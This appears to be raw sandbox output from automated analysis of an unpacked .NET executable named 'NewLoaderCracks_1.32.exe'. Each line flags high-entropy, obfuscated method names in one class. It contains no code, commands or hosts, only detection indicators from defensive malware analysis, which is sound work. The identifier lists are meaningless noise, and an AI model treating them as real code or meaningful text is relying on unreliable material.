Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, VsKPJfRrqU3kOWT58HW.cs	High entropy of concatenated method names: '_223', 'DyYk3t8078Xls8GcoPP', 'FfYd4F8d8HoBmL5CqR5', 'Kskasr8GaKO41fREd9M', 'HuoGNd8Jm5tuSa6awmA', 'oUExc688tSyeHKK1Utc', 'YoDYYH8wL1wwGyrAPgO', 'INVPkY855VEwi5Hk9wo', 'c79KOZ8KeBDh3NkbVJQ', 'IT8FCp81k70nebsS7fw'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, qaeqiIKANYedU44nENd.cs	High entropy of concatenated method names: 'vT1kvNUqqj', 'OmTkKTboCX', 'YXEk3hbTqu', 'MPDk7suR6d', 'a3qkZk6930', 'ztpkwYWJKy', 'rhnkXmkoqO', 'QG2k0fm6gG', 'ScrkyvZfkt', 'CBhkrbdtO3'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, q91kAv9rFvHpicluOel.cs	High entropy of concatenated method names: 'd43', 'YZ8', 'g67', 'G9C', 'HaH8HHyCXGop8YKgc1a', 'APchiSy2kqWw91PSEOi', 'GZ05PByE3sk4o0EOdv8', 'NhawT9yuGjHFVrCrgEk', 'Ir1woFy69AlQfLYVGYL', 'lRfe8mybEU5OwPbnAHD'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, wyJFCl9x9fYR1NwiG31.cs	High entropy of concatenated method names: 'F7E9gcvwr6', 'MUfj3Ul1pG5vZJ2Ev1w', 'GnXQUwlvbLFmx0ghYdg', 'l6S47Vl5JIEZ3oVoNB8', 'Cplf9RlKcedFKl2UfKh', 'fk8aCIlShZqeJ5obuJr', 'QLw', 'YZ8', 'cC5', 'G9C'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, aTrJGWKb56QoYmFQAQO.cs	High entropy of concatenated method names: 'q4Y', '_71O', '_6H6', 'HVakhyUyrY', '_13H', 'I64', '_67a', '_71t', 'fEj', '_9OJ'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, PL0IiPRfXfjK4KIr5xd.cs	High entropy of concatenated method names: 'hfOZQykpe7', 'X0kZgyn0Ye', 'iGXZAe2Oy0', 'wFBZJ8TVOm', 'sGqZb31DO4', 'b3r8bpwpvlVFM1YtCxV', 'DZdmsgwyN68LpPpt5vZ', 'KEa5NUwUNkJeX94d9c3', 'AfN6ljwWAOI47SHnqPd', 'ohtw2dwYARJiUSnoAPL'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, lagxIU9pd3fOSXyoW5x.cs	High entropy of concatenated method names: 'gHL', 'YZ8', 'vF9', 'G9C', 'WZDHd9Y1dC2erxni2rA', 'hxgcadYvd3d5hqN9UXf', 'Q4QydsYSxFHP3O3Wte5', 'c6dh0SYCXf6Hj4mBnUD', 'g2SP66Y2dZMnKI0HJ5d', 'dR8NnQYEDpgQdD9cSd0'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, eKIJSugVWHhu7Ecvwr.cs	High entropy of concatenated method names: 'pHw', 'YZ8', 'v2R', 'G9C', 'kdmkiPW2ydU7yLhH4bJ', 't8cnxjWEqHYHYgAbFFs', 'SuDoaaWu6dHFxi8iIh5', 'j04Vc4W6fIkK16YI1Jm', 'jsGejMWb7P6bSG2oGb6', 'tEM3HUW4VHpP5GfiQfF'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, BMDE7K9JJ0GausKexUM.cs	High entropy of concatenated method names: 'm3ElPMHjU1', 'n1sALDjpaBN183WFupS', 'msuOljjyc15pgkWhgdV', 'hn9NDOjUGxeQLaLWemX', 'gobQsUjWpG8wIqBRDPi', 'EqH8mNjYhm0J7Yt6iI5', '_5q7', 'YZ8', '_6kf', 'G9C'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, L3rkJ9v0wfOykpe7b0k.cs	High entropy of concatenated method names: '_4J6', '_5Di', '_1y5', '_77a', '_1X1', '_7fn', 'OUK', '_8S4', 'wUn', '_447'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, onxbvKvFYRiYgj2LUgx.cs	High entropy of concatenated method names: '_7zt', 'UktrPhONEb', 'MrdrUBwe0g', 'bNNrmQgrLZ', 'rfNrpqF7q3', 'GoOrTfCYtW', 'NU2rhqvBE0', 'MtlJMDS5MlaZqhjEEhq', 'N5FKvoSKTM3xHTIlXhk', 'lihOZBS8JBwj3DG9768'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, PhlmOO33kFK31SVC9ER.cs	High entropy of concatenated method names: 'Qkp', '_72e', 'R26', '_7w6', 'Awi', 'n73', 'cek', 'ro1', '_9j4', '_453'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, LRnbE1lUiETio6LT3vy.cs	High entropy of concatenated method names: 'r1GvjPTNAP', 'hnJviL8UrN', 'm4iRFbc15rKk2HUhw5i', 'hnjdTbcv7fuxLpQMFBO', 'wamRGlc5ZOO0IGlEamL', 'kfk3IOcKQ6W9MRJxu3R', 'GSroIYcSvPKtg8OUFeU', 'jGeINRcCD4RcfnTSr5V', 'eBeJJbc2jvE8PTQU09v', 'MyKTBTcEZ90VNFlfU40'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, e2xI1uli2BvyPgOWt3H.cs	High entropy of concatenated method names: 'cDIRJmiyo6', 'MG4UoJhNwPrQjI5lB57', 'U2Vo2shU57Ndo89Jev3', 'frcPyphrOu2UfXMBuXm', 'dT58OPhgNISD3n7GAjH', 'xuoR9XhWo6u6GQDCoUm', 'H4vWC1hpXC3YTFD5tuo', 'WH7iLmhy778ggBsjR1A', 'FqTw9KhYemN6TlbZSkk', 'HLasCjhe7UmZ9itjD9U'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, TNvZay3pOuluj5OwSvS.cs	High entropy of concatenated method names: 'J8NdUIO02T', 'QcidmRVOZn', 'TCOdpQ8OEV', 'wu9dTiTVve', 'BN7dhM0eZO', 'wTaBTbot6PnWCXSyrrD', 'tQN52wok6TMm4r0Z5nq', 'ymlroHofNXOrObjWJqI', 'JHshW3ozoYlE5aZ0FUo', 'FmaqX39x4QmS2KWLYIh'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, xuDPF3KRHi7u5qFcYsd.cs	High entropy of concatenated method names: 'gOnlHA45JGQn4hPG3PU', 'lTDSat4KTMTCK0ha96P', 'sPU3l048oIvTtYbZNRv', 'esFxZO4wGtMvtUCteGB', 'I5oUN2uKC1', 'qsn9xQ4SAZCIj64X34R', 'PxoJPX4CeqbsOx2PAxd', 'xcLbJ341Aom3Ll00t5N', 'jYjPFa4vYwJ8I9fp2wm', 'EC9c1m42l3QZHL0UCtl'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, DLIptRcP5hqxvlRK7M.cs	High entropy of concatenated method names: '_23T', 'YZ8', 'ELp', 'G9C', 'hEYIPXNXkXHK9CCajp1', 'Iluc2ANte7GTmMvoaS3', 'iUJmk6Nk5pHZiJLxWcF', 'ftCh5jNfmD04tmTZaeh', 'n5g0q5Nz7eb7pds2mTj', 'ca0AxWUxlNYxXD9JXmj'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, phqcKeK1mcShOwIBfct.cs	High entropy of concatenated method names: 'nPdNQPeJDG', 'gUFNgbmaM7', 'oZqNAYtgN2', 'ywTNJHviQY', 'XXUNblJrN5', 'TKdNWheNh0', 'S70KeMLDLo1IHDhkKgI', 'huLhQDLsbXXVWhJ4CjR', 's7yMwnLqE57KuAPVsm4', 'KJUnoELVq59x1PWsslM'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, XYTvEgEdOn3VF2FFNt.cs	High entropy of concatenated method names: '_59M', 'YZ8', '_1zA', 'G9C', 'kalFvjNPmM8SteyC0Q9', 'rvao1wNLof2njj7JelL', 'mVmDZlNaGWoPwvEiXQE', 'asaKdlNBWi4AjQ6uKr8', 'iSnoU8NoN3ZLogTK3Wj', 'W4Hr35N9QS18Oiy5eVo'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, USfWgM9YPEPl6et9gXe.cs	High entropy of concatenated method names: 'AWGlTgtLEM', 'NfllhXZUOj', 'KVJlNJ1knj', 'gayaNPjAZ8lrH9wkeeH', 'Odud3ujeWQXsklyTimV', 'bxTdfgjlOgR8fBE3ZNo', 'LtMVQTjja0vtixpRajV', 'tSiQuljmXFiFuN71BKn', 'KZdd0NjF50xPW0CoVs5', 'rAk39wjhWhK4qBykGYh'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, Q6dtO9KQg7t1MhAiPxK.cs	High entropy of concatenated method names: '_14Y', 'b41', 'D7Y', 'xMq', 'i39', '_77u', '_4PG', '_5u8', 'h12', '_2KT'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, jinINCvwU1Z6HGWbpLQ.cs	High entropy of concatenated method names: 'uxk', 'q7W', '_327', '_958', '_4Oz', 'r6z', 'r7o', 'Z83', 'L5N', 'VTw'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, EjwkB2z5TSBmyCSo1h.cs	High entropy of concatenated method names: 'Y29', 'YZ8', 'jn6', 'G9C', 'q5iZGMpNVPubTJmdLn3', 'zJcIOTpU1iONtROt9oe', 'Ql6soUpWpkJJjYuYN7l', 'zdah2WppshZuw3Obsp5', 'Wb9iWtpyttnjJxVjFMM', 'iscfADpYGHYMQYZXcof'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, gPM5LvW7t53NGescAL.cs	High entropy of concatenated method names: '_52U', 'YZ8', 'M5A', 'G9C', 'MY91KRWRHimB6F9SG6k', 'Jyq2QqW3JQpENsFN6wi', 'KHPDrGWXOwSyJu594YP', 'N5T8AdWtM2q9iBBxjES', 'aGis7LWkSi7agLi6BCy', 'C5uVPVWfgQkBaxTf8qX'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, OVytoBRJkkB8mvXG3th.cs	High entropy of concatenated method names: 'TlPHTQ1Lr1GVEauAnGd', 'aHX1jg1am4BwchPEu7b', 'YovKSi1QEsJeLj8Ljxr', 'N9dTp71Pet8d84ifGPn', 'IWF', 'j72', 'q2JXHOEhHZ', 'WYlXfOxxmY', 'j4z', 'gFcXFagpHr'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, sTNAPZl6nJL8UrN5G3c.cs	High entropy of concatenated method names: 'fm0lkCaThQ', 'XbEldbTxdU', 'c4hlOBadqX', 'kM7nkHj4DN1WeYc4yfO', 'QpOGsWjn5owk6jbJGWi', 'YsnsEQjQAYZbdR0mmM6', 'BQEiSYjPag90a8PUBlL', 'w1mDG6jLFi9XTIrELes', 'fcReEUjaPC1L6LKOkOA', 'hJ928ej6wXw3jv05kvR'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, eAIEiWRGuT0DLdJmEdh.cs	High entropy of concatenated method names: 'sg9', 'EkIAVk66FT', 'Nu3wWtnBd9', 'WKhABR6MFT', 'AkIqS15Dw8YD35ppHPm', 'kOBkey5Vt2bXkyT6nK7', 'sVcO5M5IQAhDYS8Dibf', 'cjPp1H5sG6ylnlvPrfP', 'KMJv0k5qV4cmAGElitI', 'ahdtKU5MJIGOusEr0ZR'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, rq0uC4T7MAii88bDUZ.cs	High entropy of concatenated method names: 'RG0N0ZYOs', 'eK6kWD0Ph', 'uo4d8pegH', 'KOoORVZT4', 'NBYa1HoDK', 'ryjqNo45j', 'qL8SjbWuD', 'H7KAv3rYYMbV6L9iyQH', 'iYeqm4reuAdY7LpBo9X', 'f7kFXxrl472QpMLGNrU'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, BHA5ckKxN1RpEYO0A8A.cs	High entropy of concatenated method names: 'wjrk6CPXEY', 'PVkuHcLtlAPVveO1LMe', 'tuM6WRL3GG7vIT1o0Dg', 'u4tpUrLXTQDx7wUqCWV', 'Dp68nULklx7Lf7Po4cN', 'Xvc7EiLfeKGfPywgvM4', 'TRhsE3LzaOXyPmelpdZ'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, mrhM939KRaqZJpAEAQQ.cs	High entropy of concatenated method names: 'K55', 'YZ8', '_9yX', 'G9C', 'AYu44dpsNdAyGhObePU', 'UgWrWUpqvhv6l9ayvbv', 'yP7ImipDbPWLjJT19xb', 'bCGo3RpV0BfNA9jo4y0', 'krc2krpIX0YiB1eoL6u', 'bA8sSspM9Rp5w0omMW3'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, LaD94W3lE6s9EXDgZOf.cs	High entropy of concatenated method names: 'a7ydZGrQIx', 'khOdw6HShW', '_8r1', 'UDpdXw4kTa', 'I07d0ldRwA', 'UZWdyfJgpO', 'xsrdr86OEn', 'WnwrdGoZyPxrLQBJlt8', 'opKCORo7PlCfXwAIUhv', 'RHMpeLo0EV7rW0ZL2re'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, Qhvj1tRVCck9P2urqru.cs	High entropy of concatenated method names: 'oYo', '_1Z5', 'EgOASKP5h3', 'vtcXvLkGQP', 'xCZAIl0I8E', 'DJGvfgKFHwvyQTc8CEx', 'X8yp41Khjq5oul55aXs', 'dWD2pOKcpYHREry4Z0N', 'Msu0s4KZWQ0XopUxgae', 'MUIk9DK7kMp15rtTNCY'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, X1ksjx9knfQstQDiYaY.cs	High entropy of concatenated method names: 'p23', 'YZ8', 'Gog', 'G9C', 'AOQGf9YqA1UIT7lv1Xt', 'hj6w9AYDr1U192NRB1N', 'HuFlk0YVji1x7cmj54w', 'yYa4GgYIhTVF35rQ6RF', 'xCTNSwYMusFg2cb8627', 'Nc0lcqYObTko5cJGct6'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, x9V8q9KYZ99gJCf9Z1e.cs	High entropy of concatenated method names: 'Px9kaBludq', 'U81kqfOCt7', 'F8e', 'bLw', 'U96', '_71a', 'O52', 'DjVkSnXNMf', '_5f9', 'A6Y'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, AeHf0H3200N8F0h8wpX.cs	High entropy of concatenated method names: 'y5lSTMUUv5', '_1kO', '_9v4', '_294', 'Gb3ShMLE4g', 'euj', 'XeRSNmdR9p', 'uToSkeHpkY', 'o87', 'reYSdBXeEv'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, x2GEZo70QclrbHZJC0W.cs	High entropy of concatenated method names: 'EY3YE2uu2c9iW', 'Po7KbWscbaHFsF6WQCs', 'fdCM4BsZPi9NNyIDfAp', 'iHMsMSs73oSHe03k5Bt', 'mdEEvts0sPu0fQkUUQv', 'r5ftS7sdocAtDbJF6Rt', 'EhXd9GsFKeNhLCBulmd', 'qd9BhGshX932ec2aFUL', 'oQfl4AsGaIeUVhR9njN', 'tamlDisJeCAEsF9ERBH'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, hAOp8OR9owXPgPYp5DS.cs	High entropy of concatenated method names: 'lUE7SjZE8X', 'qTj75jd32Y', 'i5F78ixgXF', 'xt771YwYTs', 'UYLco7dzUUt10rOtJWt', 'uvSlWldkWXSW6ddtJVH', 'C86E2mdfjh0BUNm7lHC', 'HSEAShGxWqsinJE1HAs', 'jSl4sKGr6yVX4hAKJ7V', 'Wk1IIGGgKdjL5e4wHdV'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, N36yYH3OXgUyXNSpeM6.cs	High entropy of concatenated method names: 'D4M', '_4DP', 'HU2', '_4Ke', '_5C9', '_7b1', 'lV5', 'H7p', 'V5L', '_736'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, O2gvDU95NOMAlPJ66JS.cs	High entropy of concatenated method names: 'vKg9LxagiM', 'zUMPhflgnjnBjSHYVaG', 'WnScjSlNcyVCjJSSxni', 'PfUKWJlx8WM0Lr1glE0', 'X5V6hrlriNlDDw3d4vj', 'p54QFxlUEhacfWlvNHs', 'bB1NX2lWY8iWnrcxoEt', 'wVAtyRlpD2AAmr42H7C', 'hkA9n7vOoh', 'YVMt2aleGiwN7YA3vRe'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, RHrgSUlFJHPGi4SFpy2.cs	High entropy of concatenated method names: 'M7yRzIqi4n', 'wU2v6E0Zrv', 'peMv9GgbRF', 'ILsvl7Rb6f', 'nOrvRdAgSM', 'HE7vvKJ0Ga', 'FsKvKexUMJ', 'eQxv3jPKUX', 'ituv7DIGxW', 'p7OvZrfWlC'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, u1OIBIRiW3RmDFyC1is.cs	High entropy of concatenated method names: 'YyrZMZ6Vis', 'vsTZs4QOqX', 'Ss2ZLg45rh', 'jinZVINCU1', 'N9KmDv8nsUvdVr27GcP', 'DbFkgD8QUhye42LAKoZ', 'SZ7Lcp8P0Id4ItLNfK3', 'TLIunf8bwoI8dn9Dhaq', 'k4S4EA84YvOoMri0tjP', 'ARFvRa8L6eELV8sva7x'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, nX3rRbvWryrmtEXt0Be.cs	High entropy of concatenated method names: 'ICU', 'j9U', 'IBK', '_6qM', 'Amn', 'Mc2', 'og6', 'z6i', '_5G6', 'r11'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, c4hBad90qXnMVQO8Ubp.cs	High entropy of concatenated method names: '_6U6', 'YZ8', '_694', 'G9C', 'YSwxdTyG4talWObDOMc', 'OZ0AbSyJOthlJDMHL8h', 'lgBl24y85f9IRRhj7UJ', 'oREoaMywsQ16MClkGYU', 'HjTY8gy5CaI01lUudDl', 'Ru5LoeyKBNQ17VjRoYw'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, h3LYx29iJMw2kCMi1e4.cs	High entropy of concatenated method names: 'rU3', 'YZ8', 'M54', 'G9C', 'JU9wG2yBSVJ1uCm3oGp', 'XL0qkGyoMDMUucEcHj7', 'fq2CCSy9AFLYhrGPhuC', 'rUgRWryibVLDKtGloyN', 'KWRStsyTpgH0DyLd1lI', 'JfackfyHb68M9fLq7TJ'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, SRe90Hv2cbPqfyBf2JO.cs	High entropy of concatenated method names: 'P29', '_3xW', 'bOP', 'Th1', '_36d', 'gJCie0Wewf', 'k89ioxf6vw', 'r8j', 'LS1', '_55S'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, tIHideRpbh7sVl4tMfy.cs	High entropy of concatenated method names: '_525', 'L97', '_3t2', 'UL2', '_6V2', '_968', 'zSNvRD5Fk2mNERMqahM', 'mCpyvT5hu8wXbF2I8f7', 'x4l0155cfYyw2TUNWFN', 'A0vint5ZXerNOvmvTuC'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, H9kGRDulG42C0P2ENw.cs	High entropy of concatenated method names: 'g25', 'YZ8', '_23T', 'G9C', 'rGSM1Y9mD', 'lVP5VhgQUgrn0WFqRbs', 'TSkwCFgPVKbh3jrhmJP', 'tn7IKKgLd3qHLjiBgJP', 'SwGposga2DRfwjDGmb2', 'Y73KRXgBf7tq9IUwnBk'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, Dy5bm1lHtULYyswFZHT.cs	High entropy of concatenated method names: 'pMTRWUrh5F', 'NcvRYFLZ3n', 'XITaTyhGaykpKsI2YmS', 'sHW7WShJJJdH65DQYS8', 'aJx2NOh8WjSaD9GcXZk', 'mJN0MqhwyS7QvtxsLnc', 'nvZchmh5JPBBart817K', 'mRvSN8hKgP1jhYGlTgN', 'PwiLgIh1vCw5Yto0mrm', 'EBoOp2hvmg36y5dhITU'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, ebQm693BTWgIeWA8YnZ.cs	High entropy of concatenated method names: 'ADqqEBvAq1', 'L4XnogTuweZIemqPxJb', 'iC71wIT6KG0h9ZuGm4I', 'N6VceLT2a5AFO46IllV', 'WH1CYvTE93dICgqcIi6', '_1fi', 'TFDatqh3p2', '_676', 'IG9', 'mdP'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, sJuhRilllHaHsYLl3yG.cs	High entropy of concatenated method names: 'NjulnYeklG', 'ChLl4oKQBd', 'TOIl2INrUi', 'WIJltp3QJd', 'CL0lQdRiSf', 'xT1lgakJAu', 'mjT7Hlm0083o6xnXqZi', 'khE9G1md4Z82kS47Doy', 'yyrxALmZYQbFgB9q2bj', 'qInGbHm7rj50b3gDb7T'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, Kk2UoY9R3o2OILLuSZa.cs	High entropy of concatenated method names: 'R1x', 'YZ8', '_8U7', 'G9C', 'qcv7RwpuIYEaQWfahxf', 'rmXJNDp6g61cqgoHZce', 'Q0c5kXpbWL6EchsLyl2', 'EOcyiNp4suKotc7m1mH', 'PDqymgpn1SkmF8r2f0A', 'rZ5oXqpQ96slwwMmfeK'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, m5kvJIRvqQ6vk88BQ7d.cs	High entropy of concatenated method names: 'erA7GowVsi', 'ctD7M19yAS', 'u3P7sJvRTj', 'fZU7LEpvoE', 'ooL7V02ywn', 'd2n7nfIWX0', 'iHgi1EGEp2NooHvRoxX', 'QuAGnqGCQ4FEtAtfPTP', 'N6pgo4G2kBaABTBj0vZ', 'oDODUKGuZKpEqqrHynX'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, KQdiKeKO1yr7g8kh4UY.cs	High entropy of concatenated method names: 'ckJNI592mZ', 'K7INcB1Ylf', 'QYgNC3Gahk', 'OyTNGvFOKa', 'lFJNM1bPk3', 'bHXHafL2Vbgv2bETvyT', 'dvlndsLSxsfPlBC4gSy', 'VR5PAcLCoiv4RvJfUek', 'hA98pMLER4vPHmltxil', 'quN8TkLu0cTSH8UGt7Y'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, PgZXc9RXyTK9oTr0lMn.cs	High entropy of concatenated method names: 'IjKZu2xpR8', 'HeNZxC6oi4', 'SHlZDqaUq0', 'mWa5cB8hDZkuDqR4rw0', 'e9doOg8mP8rGJgWL0Nn', 'huTXJX8FJkee9QyyjH6', 'Jo0uK88c7DnHloLVYxB', 'XovZesb2Pf', 'WTPZorSu4x', 'PJWZHSKqUZ'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, uiKX91lEy27eHmxVmOh.cs	High entropy of concatenated method names: '_0023Nn', 'Dispose', 'F8qKxEyjGC', 'yIoKDypiKX', 'b1yKB27eHm', 'GVmKEOh5aJ', 'c9DKInNSmN', 'Lt8RRT0eU6Kb4mMTIQW', 'cYYG0u0lv8SwcDWu3qG', 'rYqg5x0yufeFQkAFjXP'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, pjU1xV972YyawOghLYj.cs	High entropy of concatenated method names: '_6H9', 'YZ8', '_66N', 'G9C', 'CrvR36p351q4rtc9MEp', 'PlWrB9pXJY40832LlfR', 'aLI4fkptjIRnKBHdOW4', 'qQxLtrpkMWpUvNfk8Xo', 'Oj3i76pfUwwXTGkCkDY', 'HeJo6rpz1cX1OoA1IhJ'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, Bi4nhU9g2E0ZrvHeMGg.cs	High entropy of concatenated method names: '_589', 'YZ8', '_491', 'G9C', 'SmngsnAVw28tbT0ejQw', 'll3XFPAIeQNFJuAKqOk', 'biVlcIAMOhGqQxvK66w', 'yIx13mAOBbmQALeiHW2', 'JYb2f8AR1YKhggYtV1k', 'dq8n9WA3QIc7b08YwjG'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, mK9uj03h95WWacJtkcv.cs	High entropy of concatenated method names: 'IGD', 'CV5', 'DEQdNohDJ3', '_3k4', 'elq', 'hlH', 'yc1', 'Y17', '_2QC', 'En1'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, t0ASy73kLI0VDtXhKyu.cs	High entropy of concatenated method names: '_7tu', '_8ge', 'DyU', '_58f', '_254', '_6Q3', '_7f4', 'B3I', '_75k', 'd4G'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, JMMflX9wZUOjcVJJ1kn.cs	High entropy of concatenated method names: '_3fO', 'YZ8', '_48A', 'G9C', 'Ek5Gt2yyrg0NGvBE7oK', 'SAlkisyYhhPtxSgrMSi', 'QV1jO9ye92e75cK1L3g', 'wvtKcrylnbeM42HDXVn', 'GvKjBYyAVca17aehr8C', 'n38Sh0yjscYZ1P75nle'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, e9gKEc8j4ccPPjIvJc.cs	High entropy of concatenated method names: '_52Y', 'YZ8', 'Eg4', 'G9C', 'Fyncsbus5', 'g2RtcPgGN71n0R0HLkr', 'QNiqeWgJjK1ZuFphij5', 'eUXmpkg8VbUruG6xdfm', 'Hklig6gwFaXNmCU2ldE', 'Kqr2RIg5YkmgMGbJQ2D'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, bPQI7ERoRB9E7CghuZ0.cs	High entropy of concatenated method names: 'TdaZ4hmt0n', 'i02Z2eaXc2', 'UeCZt3rkJ9', 'gMeFmJ8sS7DtHB15WYu', 'to4wbs8qFB8dc5yhvk6', 'LhWKt78D8gob7wjC5Ie', 'HMU1jL8VelvfSMtfOic', 'Jq3ZA78IZwDyxBOTuET', 'u9fi4i8Md9AChomx14B', 'bwsS8A8OtKOaxhxVVa8'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, WnhZCTvNt7pAc8upimk.cs	High entropy of concatenated method names: '_45b', 'ne2', '_115', '_3vY', 'SRPj6F5BCh', '_3il', 'ceNj9W0KYc', 'B9kjloN1c6', '_78N', 'z3K'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, FcG67VRPX0ukIu8AsNZ.cs	High entropy of concatenated method names: 'Mm6wenY5uf', 'D8SwoRh15s', 'DqMwHeoS9u', 'fsJPB6wTM6IZvxSAyES', 'GTOLThw9H22ZOB4HrHl', 'F1Vkq1wiBpLfH8wAMJN', 'P6ASDLwHlpsXxCrteYs', 'S6ow3ESDvf', 'csyw71PREi', 'lnawZWR8E3'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, Bx3xFGavu7JDAx3ga8.cs	High entropy of concatenated method names: 'T43', 'YZ8', '_56i', 'G9C', 'mPD1ZIgA9ytnne4gIxx', 'JlxTn8gjapJMj0uMrc7', 'TaSRYIgmQQVkJbAgJ3s', 'fw2MuwgF3dr1Dd0yf0k', 'Sq4Y96gheYYax2aZ4Xy', 'EiZAsOgcdfikQb6leKm'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, TaHsAXlw4FpSEGPMUxv.cs	High entropy of concatenated method names: 'coWR1G1FuX', 'ml8Rugb4vK', 'D2WRxBK01F', 'gnURDcsTZE', 'jb9RBfxnXR', 'EtLRER4SPW', 'pxmRIQfxDH', 'Quw3QkF1D6ZG04dhJnC', 'MYd39pF5yOqpZpuGxvK', 'SWqtxeFKFxbWlrZ1FNv'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, jVvmDbVGlxm7LTy0MJ.cs	High entropy of concatenated method names: 'P37', 'YZ8', 'b2I', 'G9C', 'ncuKyEUTappSDQKiNuG', 'XDpDlWUHFYK18FKZtEa', 'RDii66UsJwVn81M8oZZ', 'f0GZEIUqrYVxpGbG47x', 'eYR3h0UDVbB5DcmjexV', 'aUtIldUVBJVHjHvM1on'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, ncbOUZvgUIhYx2a4pMk.cs	High entropy of concatenated method names: 'HJdiWLpD7s', 'OkfixJiUKQ', 'sWqiDjD03I', 'LskiBB5u2X', 'u0ciEgA9Hi', 'NNgiI3pMAI', 'mAcicvajAL', 'RLuiCyEitq', 'wb5iGJk6Dl', 'a2liMMJGWd'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, f4UGf9RNywmjIhFCXBq.cs	High entropy of concatenated method names: 'Ox4w1ZnmNd', 'D2Cwu6vTpk', 'yVxZrq5dXJ2SILFQ9tM', 'cRE7KB5GPEeIcVL5css', 'Kf2w8M57BBUgA1hPKxo', 'ReYxjA50MqlTXjy2sG3', 'qX2dQW5JBACUXdrB0tw', 'z1bJcI58oLA7xY6paRN'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, aoESDvvHflsy1PREijn.cs	High entropy of concatenated method names: 'odervpgFCw', 'ggWrKuXZMX', 'gnlr3GBcGL', 'zcwyLaS71KViECpqdV5', 'dMD7a1S0IfQxYCh3PKH', 'aJGdxXScnq01CrBUHSC', 'HEY1iNSZSdusDNNyATU', 'PeL9gESd0qR6nKucvWg', 'BHoiuASGcjMeL1lQGYG', 'EvgGyBSJRPFyxuq8NCF'
